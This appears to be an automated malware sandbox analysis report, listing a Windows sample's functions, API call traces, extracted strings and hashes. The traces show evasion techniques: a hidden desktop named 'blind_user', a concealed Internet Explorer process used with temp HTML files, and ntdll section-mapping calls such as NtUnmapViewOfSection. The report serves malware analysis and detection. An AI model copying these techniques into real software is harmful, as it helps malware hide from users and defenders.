Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: CommandHandleLineModulestrchr
String ID:
API String ID: 2139856000-0
Opcode ID: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction ID: bd194e91918afd51b414fff694719a57869652e1cfdb10064340714cce8cfdd4
Opcode Fuzzy Hash: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction Fuzzy Hash: 98F062D1E2C28124FF3162764C4673FAD8A9782754F281477E482F62C2E5BCAD52922B

Function 00401219 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction ID: 1ee26eb31ace3a5089fdf6d32769bdd241f616d51084a453fd18da055c90a8b4
Opcode Fuzzy Hash: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction Fuzzy Hash: 52F09670F44300BBDB206F55DD03F167AA8EB08F1CF90002AFA44611D1D67D6420569F

Function 0040121F Relevance: 3.0, APIs: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction ID: 22fee5bca0d1ee63cc250ffe024ab50772efda8fe48dde45178863df2fdfff2b
Opcode Fuzzy Hash: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction Fuzzy Hash: BEF090B0F44300BBDA206F55AC03F1A7AA8EB08B1CFA0002AFA44611E1DA7D6420569F

Non-executed Functions

Function 00405133 Relevance: 65.0, APIs: 28, Strings: 9, Instructions: 238
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00405181
lstrlenA.KERNEL32(?,?), ref: 00405195
lstrlenA.KERNEL32(?,?,?), ref: 004051A6
lstrlenA.KERNEL32(?,?,?,?), ref: 004051C4
lstrlenA.KERNEL32(?,?,?,?,?), ref: 004051D5
lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 004051E6
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405218
memset.CRTDLL(?,00000000,00000010,?,?,?,?,?,?), ref: 0040522E
GetTickCount.KERNEL32 ref: 00405239
srand.CRTDLL(00000000,?,00000000,00000010,?,?,?,?,?,?), ref: 0040523F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

LocalFree.KERNEL32(?,?,?,?,?,?,?), ref: 0040526C
ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,?,?), ref: 00405290
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052D4

Strings

IEFrame, xrefs: 004053F2
X-okRecv11, xrefs: 00405458
D, xrefs: 00405334
Software\Microsoft\IE Setup\Setup, xrefs: 00405255
\Iexplore.exe , xrefs: 004052EC
%s%u - Microsoft Internet Explorer, xrefs: 004053C8
7O{M, xrefs: 0040513F
MicroSoft-Corp, xrefs: 004053C3
Path, xrefs: 00405250

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: lstrlen$FreeLocal$CountEnvironmentExpandIncrementInterlockedOpenStringsTickmemsetsrand
String ID: %s%u - Microsoft Internet Explorer$7O{M$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 2987844104-963083691
Opcode ID: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction ID: eaf183550e18aa99804e3b29fd782d62b91feccc71c8544a1a81296d936fe118
Opcode Fuzzy Hash: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction Fuzzy Hash: 8E91B471E092186BDF20EB65CC49BDEB779AF40308F1440F6E208B61D1DAB96EC58F59

Function 00405C09 Relevance: 59.7, APIs: 25, Strings: 9, Instructions: 230stringfilesleepCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405C3C
GetTickCount.KERNEL32 ref: 00405C54
srand.CRTDLL(00000000,?), ref: 00405C5A
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405C69
memset.CRTDLL(?,00000000,00000010,0042C48C,00000000,?), ref: 00405C7F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,00000000,?), ref: 00405CC2

Part of subcall function 0040570C: GetTempPathA.KERNEL32(00000104,?), ref: 00405730
Part of subcall function 0040570C: strcat.CRTDLL(?,.htm), ref: 00405764
Part of subcall function 0040570C: sprintf.CRTDLL(?,<html>), ref: 00405778
Part of subcall function 0040570C: rand.CRTDLL ref: 00405786
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 004057A4
Part of subcall function 0040570C: rand.CRTDLL ref: 004057AC
Part of subcall function 0040570C: rand.CRTDLL ref: 004057BE
Part of subcall function 0040570C: sprintf.CRTDLL(?,%s,?), ref: 004057DF
Part of subcall function 0040570C: rand.CRTDLL ref: 004057E7
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405805
Part of subcall function 0040570C: strcat.CRTDLL(?,<head>), ref: 00405819
Part of subcall function 0040570C: rand.CRTDLL ref: 00405827
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405845
Part of subcall function 0040570C: rand.CRTDLL ref: 0040584D

strcat.CRTDLL(?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405CF7
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D0A

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D2B
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405D95
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DA8
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DCA
FindWindowA.USER32(IEFrame,?), ref: 00405DED
Sleep.KERNEL32(000003E8,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405DFD
Sleep.KERNEL32(0000F000,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405E20
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405E38
CopyFileA.KERNEL32(?,?,00000000), ref: 00405E85
DeleteFileA.KERNEL32(?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EA4
lstrlenA.KERNEL32(<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EAE
strncmp.CRTDLL(00000000,<HTML><!--,00000000,<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000), ref: 00405EBA
lstrlenA.KERNEL32(<HTML><!--,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405ECB
LocalFree.KERNEL32(00000000,?,?,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000), ref: 00405F0F
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F2B
TerminateProcess.KERNEL32(?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F38
CloseHandle.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F49

Strings

<HTML><!--, xrefs: 00405EA9, 00405EB4, 00405EC6
IEFrame, xrefs: 00405DE8
X-okRecv11, xrefs: 00405E3F
D, xrefs: 00405D39
Software\Microsoft\IE Setup\Setup, xrefs: 00405C95
\Iexplore.exe , xrefs: 00405CEB
%s%u - Microsoft Internet Explorer, xrefs: 00405DBE
MicroSoft-Corp, xrefs: 00405DB9
Path, xrefs: 00405C90

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: strcat$rand$Filelstrlensprintf$CloseDeleteHandleProcessSleepThreadWindowmemset$CopyCountCreateCurrentDesktopEnvironmentExpandFindFreeIncrementInterlockedLocalOpenPathStringsTempTerminateTextTicksrandstrncmp
String ID: %s%u - Microsoft Internet Explorer$<HTML><!--$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 4103625910-1993706416
Opcode ID: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction ID: dc295d18008c6f961fbff17ccdc6ec9b88b81df80f56d8f6893aa762a7281c5f
Opcode Fuzzy Hash: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction Fuzzy Hash: 7B81A8B1E041186ADB20B665CC4ABDEB7BD9F40304F1444F7B608F61D1E6B99F848F59

Function 0042B884 Relevance: 28.1, Strings: 20, Instructions: 3073COMMON

Download Yara Rule

Strings

"sub, xrefs: 0042CA59
A, xrefs: 0042BB24
''>, xrefs: 0042CA67
A, xrefs: 0042BB78
'%s', xrefs: 0042CAC7
"sub, xrefs: 0042CA58
%i] , xrefs: 0042CC5C
'%s%, xrefs: 0042CA9B
"edi, xrefs: 0042CABB
"%s", xrefs: 0042CB09
'%s', xrefs: 0042CAC8
"%s", xrefs: 0042C858
'%s', xrefs: 0042CA91
"edi, xrefs: 0042CABA
''>, xrefs: 0042CA68
"edi, xrefs: 0042CA85
%i], xrefs: 0042CC66
"%s", xrefs: 0042CAF2
'%s', xrefs: 0042CAD1
"POS, xrefs: 0042CAFD

Memory Dump Source

Source File: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID:
String ID: "%s"$"%s"$"%s"$"POS$"edi$"edi$"edi$"sub$"sub$%i]$%i] $'%s%$'%s'$'%s'$'%s'$'%s'$''>$''>$A$A
API String ID: 0-792900420
Opcode ID: 44a1de5bb6308ec8297fddabfebab828391f15ae462822a30ca388360e9e3fc0
Instruction ID: 591e24e94baa5eb777a4e5272106f1456da37870eb4cc5cdaf26395a7f99a22d
Opcode Fuzzy Hash: 44a1de5bb6308ec8297fddabfebab828391f15ae462822a30ca388360e9e3fc0
Instruction Fuzzy Hash: 43B224A264D7E41ECB178B306BEA15A7F71AA2331079D41CFC4C18B5B3D24C9A46D39E

Function 00402E06 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 337libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00402822: GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

GetVersion.KERNEL32 ref: 00402E22
LoadLibraryA.KERNEL32 ref: 00402E91
GetProcAddress.KERNEL32 ref: 00402EC5
IsBadReadPtr.KERNEL32(?,00001000), ref: 00402F75
GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
CloseHandle.KERNEL32(?), ref: 00403065
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004030EA
VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040315B
IsBadWritePtr.KERNEL32(00000000,00001000), ref: 004031F1

Strings

kernel32.dll, xrefs: 004030E5

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: AddressProc$Handle$Module$CloseGlobalLibraryLoadMemoryQueryReadStatusVersionVirtualWrite
String ID: kernel32.dll
API String ID: 2089743848-1793498882
Opcode ID: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction ID: cfd5926590b061e949c3a24607155209ead47d6dc4f6dfca132d0ef3b1a5cdf0
Opcode Fuzzy Hash: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction Fuzzy Hash: F6F19070D042B88BEB328F64DD483E9BBB1AB55306F0481EBD588662D2C2B85FC5CF55

Function 0040431F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00404341
GetThreadDesktop.USER32(00000000), ref: 00404347
CreateDesktopA.USER32(blind_user,00000000,00000000,00000000,000000C7,00000000), ref: 00404376
SetThreadDesktop.USER32 ref: 00404394

Strings

blind_user, xrefs: 00404371

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: DesktopThread$CreateCurrent
String ID: blind_user
API String ID: 2384851093-487808672
Opcode ID: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction ID: 282a6fb7077f79b337956a50597d570250b08ff90f4541f666399335e01d3b83
Opcode Fuzzy Hash: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction Fuzzy Hash: 2C018471B442006FDB14B73E9C5276FA6D95BC0314F64403BA602F72D0E9B899018A5D

Function 00406753 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

Part of subcall function 004013CC: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004013EF

Part of subcall function 004054D7: lstrlenA.KERNEL32(?), ref: 004054F1
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?), ref: 00405505
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?), ref: 00405513
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
Part of subcall function 004054D7: LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
Part of subcall function 004054D7: memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
Part of subcall function 004054D7: CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
Part of subcall function 004054D7: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
Part of subcall function 004054D7: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8

Part of subcall function 00401348: RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00401375

Strings

Software\Microsoft, xrefs: 004067C5, 0040680B

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: lstrlen$Create$FileThread$AllocCloseCodeExitHandleLocalObjectOpenSingleSizeWaitmemcpy
String ID: Software\Microsoft
API String ID: 3232930010-89712428
Opcode ID: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction ID: db3b40ff5e41acc5bdae17a6e42d24a18e18c948de20eb22515eb7809feee29e
Opcode Fuzzy Hash: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction Fuzzy Hash: C3219972E002097BEB10AE998D42FDEBAA8DB04714F644077FB00B61E1E6B55A108B99

Function 004017AC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 004017CC
CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

Strings

{9BA05972-F6A8-11CF-A442-00A0C90A8F39}, xrefs: 004017D5

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceString
String ID: {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
API String ID: 1245325315-1222218007
Opcode ID: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction ID: 52c0c8d8f8a1b88d6522b4dea913535513547713cd70a2aa0dd21656c7656eb5
Opcode Fuzzy Hash: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction Fuzzy Hash: E1118673B102116FE710FEF5DC81BAB7AE89B00355F10483BE644F32D1E6B8A50286B9

Function 0040129C Relevance: 4.6, APIs: 3, Instructions: 62fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00408020,80000000,00000000,00000000,?,00000000,00000000), ref: 004012CB
ReadFile.KERNEL32(00000000,?,00014C08,?,00000000,00408020,80000000,00000000,00000000,?,00000000,00000000), ref: 004012F7
CloseHandle.KERNEL32(00000000,00000000,?,00014C08,?,00000000,00408020,80000000,00000000,00000000,?,00000000,00000000), ref: 004012FD

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleRead
String ID:
API String ID: 1035965006-0
Opcode ID: 47f2dca901cbdc1a66e3f3583fad0d6114902e6408f1b023f1e58de9c319e094
Instruction ID: 9417908700fea3c6c2d518f569e6258f54968d851d27fbd2fc3a7524409ea189
Opcode Fuzzy Hash: 47f2dca901cbdc1a66e3f3583fad0d6114902e6408f1b023f1e58de9c319e094
Instruction Fuzzy Hash: 6301F972B4031467F66061B99C42FEA62DC9B40718F250573BA04F71E1D4F8F94145E9

Function 0040129B Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00408020,80000000,00000000,00000000,?,00000000,00000000), ref: 004012CB
ReadFile.KERNEL32(00000000,?,00014C08,?,00000000,00408020,80000000,00000000,00000000,?,00000000,00000000), ref: 004012F7
CloseHandle.KERNEL32(00000000,00000000,?,00014C08,?,00000000,00408020,80000000,00000000,00000000,?,00000000,00000000), ref: 004012FD

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

